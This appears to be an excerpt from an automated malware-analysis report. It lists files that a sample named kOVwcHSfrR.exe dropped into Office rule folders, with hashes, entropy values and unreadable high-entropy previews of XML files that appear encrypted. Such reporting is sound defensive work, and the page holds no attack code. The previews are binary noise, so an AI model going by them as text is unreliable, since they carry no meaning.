Preview:	<?xml{.H.....D.U..ef_....B.w>.u..\|.......,d..B...m.h..k%75Q...;..g\|..9...%q.......Y\.....R.Bv>.8..n...cY..s.].}{9&.e w.0.x.I..[......nn{.U.g.......F.Wb..D.....NwS.y........n...0..;l).3..~..k..M............"iO.....rT.}..#...R...l{..A....td.+......d.. .=G.Y~y.n.".[...d..]U...~..9=L........\|.e....F.5..k.Z8d.,w.3....%.@MT..;..9:...d}.V..&....?G..a..P...e..~.Z..#..CV._.,mn.x..q........;...(.Q8t)D.y..w}.C...!..ht..;.....jE...+I....mg...q`..b.>...xx.).3......'D._z.....3........Pu4 ...8........."]..z.....k..w.`.._....PL[...U...?.v...uet...)..9ey.......F...]h...q..../...H....R..=p61.._.~...Z...k.?....6.JI.W.w.G....t..f............~.y...Z......M.....2...63H.........{..>. ..5..m.e....T'g.8$......t..L..u{....p1.)./%....h..d.V..n&B..A.d=..$( O.q.P...........39\.Rh......5...8RO.f...dx{.r.].{..f{..G./r.r....l..i.d...VM.V.......m..y.,.4.fjL..W.<4..2s.M.....6.Z..s#....}..........Vm.#.B.]?.O[.b....OI..).^...q*..EV..bd..-.l.Z..L3J-.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule702601v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1742
Entropy (8bit):	7.877024542005838
Encrypted:	false
SSDEEP:	48:cggF78eJikGoKrlr9zZJ0q2FNtnwmy23qJsMByD:cp7UoKrDruvy2isUa
MD5:	CFA13E0F17C2C8C03D37F227A2B18271
SHA1:	E70346FB1448D2515E050D11D25ADCC1F28C6793
SHA-256:	D928A0C15379702373B281A497E0762B830B4344B4342E92C4D86E1A94943ABC
SHA-512:	0836896EC8874EDE044DD29B3F65FE450DFFAA479AAA679159B3135F77255077C148E38D72B6114E71A3F7E1E8A41787B39C64621E32094DCFD38A1471DA48FC
Malicious:	false
Preview:	<?xmlI.>.D.....W...c..D..yu."...`.>...I..W+1....P.F^&.k!j"..a/0. ./.. ..u.).ap(F.2E.^V.Z.b.@..)....u.....Gv.]5$.}J.u...&.](...;.a...5.0Q...d.tY\K-8....#...=O...].........?.`-....{.o.n8`+..{7...;g..[X.P............_.......+qb....Q....YoQ.....4.....'....F........s^%...............(Sh.\|.S}.....\|..Q...3:.h(.D<....-<.l~.. ..O9}...,.....nb.........\|..C[~l....p`@..N..P(.K.-..P...]...;._.>&.,........B?.N..AJ.2(.\.I3LPc...tMX:.\|.n#<............lQb..F,..d..U.v...Y.D4....-.........g.dO.c..]....s....W.A..T.I...?.e.X@Qy1.=.Y-f_.<.(..V.4?h....+.......5..)._Mkp]a.a.S.:zC.;....D~Z;.p0F....l.Ko...zz.r.(.L.P...o.62~6..u2X..O....p.F.G...<mw.U.4c.sQ.V.v...Rx....2gBJ.h...dv,,....=.H.gt.o....>aLJ...\|M......E...p._.w.+........`.-.............-...@Ps.....w.=e....\|.I{9....<+.,.!,.m..o....F6f...:V...}we`..#>F.2Q..(..t...Zd?.3i..J.5.D.rOG.C...Z<ri#..4....?BeJ9....0H3A.../.I..;?.......F,(T^..f...`.=......2...j7......y4.V...C].S`......1...._ C.CP7.H

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule702650v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1691
Entropy (8bit):	7.893640598981834
Encrypted:	false
SSDEEP:	48:OCiQUnQf1uMF32FZgiqURqryPfAXBJFXvyD:OCCQgMR2rVrwmPfAPFfa
MD5:	430C9137F003ED8A65DC9FA14DCF009E
SHA1:	0F519B374D92E064FF9E31A7D3B269C4D6078CA2
SHA-256:	CDD123E5CACD3F57C7F28CFB0EB57AA57F1DD16998030DDEE009C72302FED39D
SHA-512:	C710AEA6EA37E6B4930BCF6222C2E99D4C6DFBEB4D90DE8BE45891679CA8B1E13196B80300F05DBE6E855A07AF57405ABCD1E285009122DF91F5B78D4EB51A68
Malicious:	false
Preview:	<?xmlu...M...j]H...5....:...m8....O,\|..H.i.?..oH...H...T....8..^......A...>5.....'....L(B.).@.@..@.V`.m....<.....a..R...B.....-...._..9.0..]7..;B......%.P..o..N.V...y\|).-..(...;.#.0F.".m.eM..o(bm@`..7.,...x.T....R.I..g>.i..^z.........W.P.,.#..&........y.c.+..4.tl@.....j.r.9..>AU....H..sI..O....}%&;..q..C~Xdy....\....2).8."......E....m..D/...Noe'e.@h:.[....s.y.....R.5.....c.K....e}.j...=.#.7b'J.....G..^V..zRW`s.hg..T...CX?..&.P....</..V..H.R_.Ok...`.:........bO.Q.....D....!Gq.Z.v....Q$..O......v..i....c....`.7.]..w.0.n]..`..o.y<E..1.Y.?c.........U...(..L......$..q.......).i<.)..D..._mw...c..`.@7\|...^.m.6W..){O....8.9y.........3.U...]..(....Z@..b..X..cN."..).1G;..k...<..8j..._...Y.N.{HF.]B#K...X.h.F..h.e....<P..^7..O..JI..XX...1Tx..+...B\...Hz.........\....W....... ..s..Z..x...$.....?P...g.z......_..A.`...N...KL?.c...dK...`....)-j.'..Y..EYU..].......d......%.1.(.}H...\....dC..@..W.......z.@>;/[..L.Cw.O%\H.-....`..*..,.h7(Y.E.....Tn

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule702651v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.884089750939794
Encrypted:	false
SSDEEP:	48:2s3Mck7PemE7QARfi01Wy6cTlqwxPYBI/Obz3VA64YtCCtWoyD:2xLimE7Qvny6cRVxPCd/FA1fCtWoa
MD5:	40BAAEC56019C4E02A62C70D4D7C3C6F
SHA1:	FA37003003D84A38F4E19CD56692657A6A1B4AF3
SHA-256:	674C8013FAD736AA0541363A8799B73E9B47E8D58F57245C904D113E132E5A3C
SHA-512:	C7487496B4C35A19544BEDC1F5BA5F7391961C2AD9936A972CFC5E1E25A9519B4ED4835D587B98FC3975839D3A28063A09FE462A8329C666CB83BC0AEA0D85EC
Malicious:	false
Preview:	<?xml..:..nl.H4_...6m..4sa...h,..@.S..6Q..V./..C1!;l+F.&tk...z....\..X..#.....$......<.\9..!.8.P."..zh...H.F..Wm.p..U.?T.....3ZX.q....+?...>tu.Qo....+.4F..E.....l......9....vO..........BW.....`.K..s.c..i.[.......\|..\.Z(.`j>....;....]..vaA./J9.ct.(...j....G.=L.AXxKq...y{...>......L....Ts0h!.....iY...{.Y..}.-~....a...(#...../]J..E9..N%.k..>.<l.p.....7.PZ..".a..qg......io.q..Z..c..."~.\|2.rNj..X...)...........jG.....Z....#.=..g..h..;X.....@....9.p.Y...4..r.@EG..h...t>.3j.9..&..^.2C..Us]Q/B.L.K......F..j..E.P...4.v..U6.p2#m_.c...`{}...J1R.L...v..[=....(.....\|&.qG..jc..u....2[..j..7.Z......\|.[.ND..3.{.cD%W.]r.kA..q.C3."...F.,...^7t._xAc.. =.~6@..^..f..[....?i..s..E}4........@...<...>.9....y.Q.d..J].>...MG...x.....#..%<Xo..=..y....8...l.'K.......1Z.\|h....._&..../.m.;...M]'Zme.....j+gf.....?g.L ....e.'^..B...>.:..Z...].......ee...+....).....x7Q./...a.......~..T............M..Cd...@.B.&.'...+...9/."......3&....2..W..'t.pT$p...&..?k\|.[&..b.Z.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule702700v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1700
Entropy (8bit):	7.909618902900873
Encrypted:	false
SSDEEP:	48:VlRvjdm9e6QHIBKd74cVCLzp2K4uCJ8UVd4JyD:VlljV6fKd9CJyTL2a
MD5:	7595D3B271C735FBE1C6F31FB2662451
SHA1:	F520AE3AF13E15B0336DD967115BC1DA5B957AC0
SHA-256:	5405E87365649EAD97E2E5AFEDB6FC30DBC908C0F5F20449BDB292D1D6519C26
SHA-512:	90D14496FE80B67B27E40109ADFA67DC6C1D82C46D61886DEEB585A7DEFDE3C1C20D4B48FFA272905A4552150B5AED83BEC67E3649C530A84832A1AB96367C3F
Malicious:	false
Preview:	<?xml..]....T1rF...../..m.{-.H`6..1...-.k..K...;.W4i.k9.bh{"........V^..CN.M.,....."......{.{...9.....SJ.c.(.9cg...].9..hGT.M..T..7..7l/\.I....p5..9J!d....:...Rov\|!...QB..RT.g...&......7\|&3.....o....hQO<..u.........F.;....%...HU.fG....h........._.<.....w...j.@.~o8.F,.#.FQ~\..f/#.._l.@.0.}.........2T..=G....a..w..~'.u...#.2...s......B...m.........Z5..J....#....x...D..bP'q...........8..xn..:...Vg..h;$..bt.._&.z...&..r..c...6.Or...NN=.b......j....5.B..u@....2.4..dI.>.H..'j8\|9..z..{........3...mY.Lp...Ua....!.4...1:U..c..v.R...).....Fz.J......a.@k.......E7.....).....@.qc.~E.....(.#dZ.r..?..........T....di.t.V.7Q...N<......x;T....7/....+'..k..^.d._.n...R..uN.DLn2T..q..D....;4.VvVs56...w..v..Y}..Z....kZ}...:...u....P.e.&%..1D.....X..._b.....K{.c"J..,.aO.;L..}......p..=."6.@.......+....F...&...t.k4..0..Z..X.QS..r5.H.`\|..B...FJ.O.....e..2...4...;.mZ[...y1..A..R.....>m..B.J..vk.. fD...Rp ......W..!C~sO0./.I.Zs.h.M.......B.......?(..x.@..<&.O..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	361051
Entropy (8bit):	6.515471008567914
Encrypted:	false
SSDEEP:	3072:VJvUQO9tOkfPmDaHCQfQZI0E8gKiUM8BEsMQKTutzzJzmYLT:VO9tOkfPGMCQfO2MEsMQdxUYLT
MD5:	5A81FE5154D96DDF4291D193DA9B1F74
SHA1:	D2EC8A3AD02036D2F802DC59EADB23BA3DF266B2
SHA-256:	70E91CCD7E48197BA0737316D31D76D0A1C104C3DBA1C51701E33E718A30DADE
SHA-512:	AF0BF69CEAF82D9EBE10AFE25427309AD284B93B272F6FA646D16D772241FBC6098111B689CFA669E800813640E946A90092B070AEA07C0AEFA05E73777EDD4A
Malicious:	false
Preview:	<Rule......U..i.b.<.l......F[9..>.a{]J..V..._W.P.H....l.m..X..a..........D....pDdd....92p^.......V....,.f.....}....>.h...o.:...... M...$...sK$Y"8..s>iJT..'.....'...C....;..i.=.{.s.Bv.U?1....nY......3.{t<..N.;i`..Z..<P..%.(.xP.-#...o~..=d2..%....C..Cl.~..[,.\.r.+U..DR..7w.O.x.W..i@..'...#{.J.Qcy.q.g......B.K.....K.v..4..m..^....3.......}H.].\|.dd..2Q..?....Eg.;....qby..k...#.Lq[......Y$......:....~5.C@...jU..@~.H.........k.K.(..W_.....F....-c,i.+........K.....B..".....,.Tb...,.&.c.x...i..v.e.........J..)Y/I....mcM0...sT.......N..k.7=....Do.).......cB{.<..z...\.b.8..?.t.C..it.)..u..A/.o..[.V]b.:.......!1x......u.B.O...$...\..D.3...39..L)Y.Yz...,....4..7,.H.T.7....6'.....m.a...i.r.je..5b.{L!....+....z...A(.p..T.@O0...^..L.>1)l.?..(.hz{!*....<...G.$6.[.p/...ymf.vPa..?......{J.9.Z..E.}. m.xmLH..G1....e3<.=.... K8.W}...X}I......m..I.FM..t.%.x.HK?..vv8.....6....g2u.T%.B......k...G.....(../w.2.. .q..t9._k...fU...y.M$...%.:....y.?..22.j.e..I<.f.....i.H.k

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701401v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.863023422622566
Encrypted:	false
SSDEEP:	24:N9V/3G+I/FLia5gbT+bgqdnb82CIGT1WqPnJJFsp05tm900JzCT8SEOv4/+zw1bD:LB2F5Lbgqdb8we3PtAos9BfSR4mzyD
MD5:	BCFCB8A5EEFDE91F3EAD356E6B96578E
SHA1:	3D4FB5FB8978BCDF4A03E6EF27243CD7288057B4
SHA-256:	0C2E8148FBF4A76333453463DC35120D007175A33F4BDADCA519AE8BE69C8A5F
SHA-512:	3816AFB81C57DC8DF6EFE18F83009BDFDDCD847332FEC0094AEDEFBFE90C2FBDA71D3456BB96976DC8829E1237BB1616DE12D3525EC1C3735DEE7FCB749D5519
Malicious:	false
Preview:	<?xmlg.U.k...`.0VF..w.......H....m......mLn.$..^.v.ls..y-;.W1..h..........x....2.(.....=xP.S...]0WH....\|..z"5m.)+a.!..stn.z..9.!0.p.}.....{D1Bx..fX..:..1....R...L......r@7h..o....y...L...E.xL..hF..8.{.O...K...z.y.f!j/^d......{......I......\|z(u.....P.d...".<...F.Nf.C+5:.....}..<3.....w-......-...g3..]W[h...-.%.[Q...E!<....T..4...#.SN.3\.!.....hj..2j.R..E.s...v... .z{.6...s6/...8..C.^.z../F.$s.,.......V..M..).s.}........."......q.0.8....{.A=...,\|..q..d..A.M{.i.>.g.f.i.,C..{z..')\#..3...;.5.4Q..D..;..d....b.3Q...X..:.;..'.2l.s.G..Jp....7/ b2..1...z!..HE..v..3.N.../.k.6 .8%.. `...I....T....1....G{Oj).....mO..q..B.En.[.7.1.Nc=..........>..7.....J...H.9.wD"..n.{......4.\..C.uK.....z.v..7.......N}......`.^.(...W.O...\E'U..u..7.7.@PH.Q.n....RG0..\;.V~....Z ~............X.M..y.xA...K..O....yIj.g.1JW.d....(D..A....</v.$YmJ.\|G..{iM5...h..G.D....w.....Xz.KS.......i...f.m...y.DE.q..t^U....8....r.....R......."X.."Ca....86.K.C>.g...W..6....%.....&.'..^\|.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701500v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.8902075406901995
Encrypted:	false
SSDEEP:	48:1tNMeMK8gGsh5RBZp0eo1q5p1KNIrS25teTSNKsyD:1tXMK86bZphy+wIrBRja
MD5:	F1189A9FED3A4728718CB42163DF1673
SHA1:	D8DA29ED957B4FAEBA19AC388F77514B7F127E81
SHA-256:	3661D35DAFA78FE3C56863E11FD02B2783E306783B80B0A0B2DA4407ED810373
SHA-512:	0D65594127038AB5E31B8DA5D00794AC383506176B67E104972DC44A1E345C60827C52537A246D04E209F17791A9CA9542603579AB8113CD2828069020F2999D
Malicious:	false
Preview:	<?xml<~.\|..j<.>. +.<.Sf'.5J.C$.y.._.....o.U..._G8.jXg.2.D.}u..I.~a.tb..X...=I`.......`.......o.G=+....e...J+l.._.D..f..y.g..5...P..%....B.x..a.\.[....UY pAU.....D....=.4..v..k.e.-..$...7.r.$rP... ..W..d........A...Q...v....Q..j..9.^...].U...I&+`z..$x3.4.......y...H..?.2......mu.n~..._..........^.\...D[.Y....}..t.V.b.W.+..%...{..;.^..lUG.O..X........$\|....T..B...5..._....KJ.+ie.T.\)2..>..M.. ..$....SV.T~.b..>.....W....qz.5....%W.Nx.$sM.j......8.......m.6.K.q.w..(.B..9'.h.. .i.=..mI........=..Tg:....$.d4...2C...d........._+. .A.....Q...^/.G.`o..D.GT.M.F............n.o7[.I....kN.U8.........m..1.+.<}.&L..pB.........s>....I..).RL..F@.&.:.M.....p....3.vC."z...f.."..<$I.>V.(.....9..........Z..._..K.u....'E....!x ..W.f.~(v=.*(....R.K...j.?.q..X{5..r.?........?x..+.k...e....N....n.k..)..f......p@..3."..{.v}.2.z..9l...."....5.(..Yb.......D..... .!.......l.#"..2..N...?...K.X{^D9m.....?.7.5.C..e..LX.Z..[....0$.. .3...Zu. .,O.....(.@...!(....>l..,.sC..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701501v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.890191773610599
Encrypted:	false
SSDEEP:	48:AjXaHsVLr4tQvXZD5N8Ws3TIDwuyMsIDyD:0Rr4teD5N8RYwubJa
MD5:	C32CCB08D559D859AFD88D5D2DBCFB9A
SHA1:	42BF29B0A573B788CBCE4ECE6A09BE346433A100
SHA-256:	19F09A086AF3438EBEA9637A7C3B9BC21B95D9E86CD663932C00374FEC6055A3
SHA-512:	0FF3EF9FD50755133DF884249D027BC54D1D1457B2ABE67D4BE1994D56885A46B6812CDCD305BB4DB9B4A7896DC15ECF62F8A311532E216FCF8759EAE7D0E371
Malicious:	false
Preview:	<?xml..S+E.....<.7.}Tv.)..cRu...j..@LIN0`.;.QN.......3\|.(.B..Ub.'m-.n....~..^T...5.!h.0)B?R......1M.[.&..Td>g.;.}<...v.T...........!.0.$.+...V......(.K\ZYjbPa...........m...4......`.5.)..y.Q.<.5M.zAi.M.:.....,d...q.s.$+..=....Ge.CV..d.}9......7.........RV..d...8ap.@.>..v...!.jI...PG...}h.!..t.P...(zh....K...\|..jiy.8/..r..:T.nWN...<.".rt..i&........Rz.V......+6.....T@.)50J(.......[.G..C"41.PY.T&N..J,x7.&....a~.M.S.os....K.B....~N..d......3..=...Hw.....`NW..[./......2B...\.M/%.DH ..8.$...aAn.l.y^.K..@......Y..1..d......o.....5...K.]/.I..0P2..LB...{ED.......Bx.<D.E,Q.8Y..vV.....\.......X.[S.....I.....8."..<2."..g?..1..)C.@......v.n.}.H..A0..9.".3.o.b.2.B.....}..:.)B.r..".....1.........w.x..Y.w.mw1.....w.C._..;..:>.z.AR...TS....{.@..PW..8..N...\{v........w..n...GC`...]...x..@..../O9`.E0...b.....]cG@......K...+N.H...Zo.c7n.2...V..C8\|C..)0.......h6.c{.b/..u1..'T....'....>....qe...5......".QL.[g..W.K-....VS.....I.....H.A.C.t......@..;..E...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701550v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1701
Entropy (8bit):	7.886311015571347
Encrypted:	false
SSDEEP:	48:L7Eu7l7C5qmlfX1LWzlIwCAU0qeUgIpJwUgmyD:L7TRCZvazlIwCAUdgiJDa
MD5:	9F447DCBCA76DAD3E45E0CE182F0468D
SHA1:	420A1EA45E2C8879C495CF8FB2D2C5CEFE654F6F
SHA-256:	4FEB8F7186E0D55C3594BD084AED49962DCCEF604417AA37C948594B883EE3BC
SHA-512:	73585AF09FEAEE5576CC7B9DF8333DD627212BCCFB78CA0DA13CB2EFB99A23D187DF5BCFE39E4DD385527BFACA77B3A34CC2C5376C54D7A6DBCD34C7ABFA71C1
Malicious:	false
Preview:	<?xml.,<PM....sHEZ......8...T...2.I....3.....0}T.6....S.<V.V.z.63_.y.z.Xhb...wT..g.?^._[..m.....4.....v5...oY.ls.n..\C...@.bL.\|..M...{.[..&R..a..../'T......p2$eX`.B]O.....a..>..._........C.;t.1!....p5q%S:)\|...h;...y..z-......gOh,xN6.i..W..7.....3.zN...9+b..Z.....]j..i.....M.$.Y~..k.d4.D..ZnR...I.\|.E~Y.!.>AC........\|BD.e...!.U...;.3!;.....r..mK..........E.e.p.B.V.3..g...@-5.M..c.a.A@...7b.KN..vFx.r.O...+..P.....f.j..4.3...0v......G..L.D..E....Z]_..!yi.sCq.%rO......Y......\|@.:..1,.v...:....^.[f.)?.L? y/...z>].y....;"....2..n.V.32(!H.h.6Pm..-x.3..@b.<.......Q..-..2cH.%......dt..r...ZO.Y.....Cs..X./_"SoFi.)\|..y.....>.N..%..8..m..p.A.....k.(n1.... ..wkD..O1.fW.....p.x>-....Go."...Vl........\|`:._...=...f.6....o......\p..a....Gl...o.cE.\....Oe.lPP.h........Q..?....R...d...<...x.:s.f).~.N..f#..x......8.p:?3.!F.....A..E...m....g...r3....Rf..?..>...0.....q....Z.X`.u.$...6.`...t`..o..S.G.].%<[....$..o...).\|}.b.~..6...{y......=..@d....s.mm...P.u.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701551v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1738
Entropy (8bit):	7.880705234067457
Encrypted:	false
SSDEEP:	48:smR3K13aBfEeV0nVtr1eDWGMc0il9lwz/mCpjTk4wyD:/JKqseOVtrIWGMcs/RTk1a
MD5:	8B5BDE683CC6122DF58F2D4EC9C863FA
SHA1:	C4C3F18647BEB0744DB082CD7EFE22890E0569C2
SHA-256:	769CEA5C42DC6B7642A2A931DE8130EE2407151E3CB64D3881755FC600ECA428
SHA-512:	9527362DB4A6CBE87636856875212FD98ECF1CCA477411CEEB36458A48C098E01D17E098980971439BB1A1352C3E9C9DEEE89BF213F0F86A0A16E015320AF775
Malicious:	false
Preview:	<?xml..?..g^........e@...&.V."c..Y..Z?....I.Z.5.v_.........T.j4.r/XBJ...6lK@.Ic\|.._.N/..b..<.q.DkgT.J./}4B....i.j.2i..4G.:..4_...]..zf....`\YR.{.WTp.F.....b .Bv .R...&F..).-....B..o.H.d.A......(..O....U....G...kX.....[z...Zx......k2.w}D.8.-......zdH...{.....\....-Oq.PaO.e.+...h8Z.D.....z....4......%..R...]..o...fd.PKy..E7".S..A......Lr.#.....c5...m......~..2I.Kp.UN....]...GPj......?.n..S........3.wz'.6........}C....H.\|..L...88D.A}C.J...SK...og\|.H...2...k..?T.F.i...W..Uz.i..}m.j.........O...r...)Z...$...V..}...m.\....y..lp<.Q...Mm>U......s&Q.s..4.N....3.9...}..zs.....5.5..lA....N...I.h!....9E..b2.{.aq..>.v....aa.8.d...Lp.-t.tW.I..j....b.....[..:..f.C....y.. .0I..y.I].H.....-.r>.'dY.l..^,Z.....+\|.-QY.1'.....zh4...i.pt..Q.\|.@.....1OjH.#............9..w.04]`.(....5...].....J....-.vF..........x...<.+..3a.._[<.....2...C."......./UQ.-.V1{1...Y$.ke.K.Z..D.Z.....2.M.Z.-u.".E<.9V.Y.....K.h...._.@.;......w>...`(X\LAR4.Q.H.r...d...'#q.GHg.@=....*l..7.T.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701650v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1705
Entropy (8bit):	7.869416723943128
Encrypted:	false
SSDEEP:	24:UCV0wbsFSYfSeJsfcssQ8/HcRQmTH6neOaLhab/IyQIekk/tVzuKaKwgvtX0w1bD:UCWwdYqosAwTH9tN4peJVqIvOyD
MD5:	393981BB00BE39FFEA25832D6417BFCE
SHA1:	A4190FF36085116EC1E4B50D6C78589CC7294A6D
SHA-256:	3C2DF7D3909F2E31F5B91E58CCE48E3F38E8CABD558D3811FA07C49D8F0DC568
SHA-512:	31C6A9B8F675EE69772C474DF418B835A20877A6EAFA3E1D4DBC364E10D8EA62BCC4D2F4C18F7410A916A8B4425D23866362470D90603F51EEEB449713C701A1
Malicious:	false
Preview:	<?xml.Ql,x........4,.9B#.h1.$$.\|...`2....!5G.8..t....t...[.&E.Rf]!..X.W....... ^..>..p.)B.mW.^.+b~..JZX.<..R.n.!..&..M2.AsM.......DM\......N.dp..O.....qv.Q...f.....Z..L).T. .v.\?...Q..3?..1.4.....gL.Ia.Q.Kj..N-.&...EF...FU.ZD..PLgy8.....a...B...O.(.3=.\|...... 3.u.\...T.Wo.z..P.,.#{.w#Y._9.V..D.{Y.....P.7...c...k.2...rcU...(.,...V...m....kp..j......(..~......O..k+...."...}.,.>......c.....Xn.O=.......8&....._..M......R.r..z.'P...e..N.....w.y&.G;.77k..h.....N..-..8.-.+...J..B.....+.-..#...bP......(..V ....0..;.g;.....}.G.........ff%e...c8I...l.........{l.B.m...zT.4.0..0.".m.l(.n#1.g2.J!..%..,.....J0......X..F.....g.n.a.V<gfG....Zts...g.X....H.).....KOx..O<.....%..5.g).g#....l........g<..7..$.(..5MTK.t'B.....F..-..)Wr".[.. i..../KN....../rC#..yN..S.`tb.pJtt'..%0..u?..1.\|....-.l"..\...\~..3.. ..(.W....4..Ge.Q...s.i.....{..}........$1b....+.9.s.....T\B.t.\}..d\w!D.C.0.a..S. .....~o..?C. .v..Q....woB.....w..Fm/d..^$.J...B%...=...j3.X.[,....w.5.7i..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701651v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1742
Entropy (8bit):	7.872406192255204
Encrypted:	false
SSDEEP:	48:DdY1peaI8TqnV59cmpRT50XFfO0HfFafhYcyD:eGh8TEcmTT50XFO0daja
MD5:	EFEA7C2B566BC153E6AF83C79B7F951C
SHA1:	730D3C5047FD87789B30B1178A75B75F2D9CB426
SHA-256:	515301AA6971AACCF48128E7C39D0F5D491CCB2A009FA0A05BD10F5FA272FA1B
SHA-512:	45CBCD948747377EDF9653D731778978B1DDF3EE50020EB2215DA5C3AEA31281F601C89995B8597E98EA845E507602ECD53A0DE801A96375CDB08C5F17C85876
Malicious:	false
Preview:	<?xml..H.......N..L.16L...;.....,0.7IxN.l.F.].>...S...r.7...I.F.9.UR:.B`;u.OD}..Z 2...RA...Rb....H.yG..1.S.x.j......<.J.V..2J...;..mK......-...}..9p...~.W?....L..BR.d..'\|'.O]Cll.. ....$..fF.....ltPA.t....5..{..@.I..SL.(q...3s=...m.{....a...oE..j..Q..9.g..O..)"..?.6.e:..>(.#}...v...u....0..oP0.lm..Gd.]...42.dP.x..,..(s.OM..V.+`.[...i..Q..K.b.z..........r-\|.D.1f..'.x%B.:_f..~U.I.....h.0.3.O.nKQ[`>...#..BD-r.....q(.6..*.+.~mlK.{.d.........e"..I..g...DI.f...n#Ca1.i.E..H.7..O.".?.UOw.T.lTC.D..C..2..@.Y.W....-...;.W......F........,4>.....#.H...... ....e...Cw..x.X.b..8?.....w..OX.Z..\..7..........z......,...TwZ.L...U.o..K=3....[Ef.'....sa.G0...%........5O....S..#>.............B/..r.....).=..'..1Mh..7...C%..)..a.h..M.F..Sv.....\..K8'`.P.W4....&.~o.e.y...t.#...RM6.....p.r.>..P.s.R.^..6.H3.W....:J.6.(....F.HA..Q.._..4;..$+3....nq..<...P...j/......X..J.h.Cv.. ...r.......y.~..+..2..i48!...s..u...Q....tg....9!Q.a&..u.$4.......Ys..su....2/,v

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701700v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	7.870065318693322
Encrypted:	false
SSDEEP:	48:M2k4reJAeWCQYCLvzf98eiWijG6qLNjE2bZ1yD:PreJA1h/f98M6qLNjX1a
MD5:	99CDBDA80A1CD6E29EF98C1C8EC7BCDA
SHA1:	DE807B0304222446477B3C9800E6E59701CC1861
SHA-256:	1BDF7F73341CC354A3C0506431F82C5E4929B29AB4187D1DDD3C1D990E7F4134
SHA-512:	EF4B8BCA8A03E3FE70BE64E0CA774752DB76B9527EAE98519C8C78715CB5D03244A637EA9185DD4F3BD9C118C013A18B9C3B85C85395726B9C5F1522F71DE549
Malicious:	false
Preview:	<?xmli.&.?l.k......uR........n.n...7.........5.@.)..X...:9.J.q.hwb.Ts5..B/.d.Bq......U..-.c4.....!#...x..(..B.A..+(o..\|Ri..:[Z.Z.......;.@..Z2..I..a5R...BS.P..(.w.8s...BC".\|..Q..:.&.A.....0..CP._-...T...75<cr\U.km..O.......#....O......S.......:....,...(.S4.`.z....z.....V..@...q?.[.....&B.f'..:'4.9t....P......$..\3o...d.$`{..:f1.4....C0/.[.c#....vv.!..D....T~Z.m.EV.g.uK..........y./.!oR5.\|NWs.c..#..J"...I{;k.j....(.....T.W.+ZI.'Z!$..lE.62Q"D...M..s)`..e....7.Sti`=...........x..^PU...2....._.&.&%...V<.......ks........>k....3......8#.p!...q.....5 .....h.R.C..2... ..t.^..#G.o.wQ.sxj.8......zu.N..CX.fm...\8..V........:9^jr..A1Hv......4.zq.j:.a.\...j..XJ......~I.H....#..F.Z.f.r.M.g..j(...w.+..1C.Iq.U......6h.A.[..7...,[>.V..\|.p'..W....9SL.c.z...Pg...`.V<....w.......$j....Jnv.T.zK..+2..~.E.dB.2v&.....S..@..R.95....M(.6o...Y.:..y...>S.....z+.${&k.U..\|.;...Jm.._L...HOI].._..yY.'.jF.0...f...L.^..~3...Y\|s.&R.^b.....JF.....7^.c@!EGTZ.-.{..5....,

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701701v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1756
Entropy (8bit):	7.88823209627117
Encrypted:	false
SSDEEP:	48:QUf7mqy+rKryDO+kPVaAbKzChOByEzY3vFMxP+s10g82wyD:ffyqvrK+D15AbVhOLzY3Ni+Gxwa
MD5:	DBA393D69D004CE76D02CC8B40357413
SHA1:	DC23433E01A39BD74945299AA14A990DBE5FB4CF
SHA-256:	B01CEEDA0DD479F501CB21B3FEF546E5F4C740B4B41347F1F9F13E25C277E67B
SHA-512:	C4BDF2966BF0C34C6BE33F1DC0AD4323F181EAF63E80D00AB3BED667DAC34D67DF246B0685AF915412E17CE57628919CC2E984767563D943596E6EC39C76F043
Malicious:	false
